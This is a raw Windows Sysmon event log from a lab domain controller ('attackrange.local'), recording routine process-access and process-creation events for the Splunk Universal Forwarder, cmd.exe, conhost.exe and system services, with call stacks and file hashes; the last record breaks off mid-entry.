09:11:43.008{A5F018FF-294F-5F80-0701-000000007F01}41202872C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0801-000000007F01}4944C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004909Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004908Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004907Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004906Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004905Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004904Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004903Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004902Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004901Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004900Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0801-000000007F01}4944C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004899Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.008{A5F018FF-294E-5F80-0601-000000007F01}47123080C:\Windows\system32\cmd.exe{A5F018FF-294F-5F80-0801-000000007F01}4944C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004898Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.014{A5F018FF-294F-5F80-0801-000000007F01}4944C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvarsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-294E-5F80-0601-000000007F01}4712C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvars 10341000x80000000000000004897Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-294F-5F80-0701-000000007F01}41202872C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0601-000000007F01}4712C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004896Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0701-000000007F01}4120C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004895Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004894Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004893Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004892Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004891Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004890Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004889Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004888Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004887Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004886Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294E-5F80-0601-000000007F01}4712C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004885Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.993{A5F018FF-294E-5F80-0501-000000007F01}35044484C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-294E-5F80-0601-000000007F01}4712C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+f2b15|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004884Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:42.998{A5F018FF-294E-5F80-0601-000000007F01}4712C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _RAW_envvarsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005177Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:44.852{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2950-5F80-1C01-000000007F01}1292C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005176Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 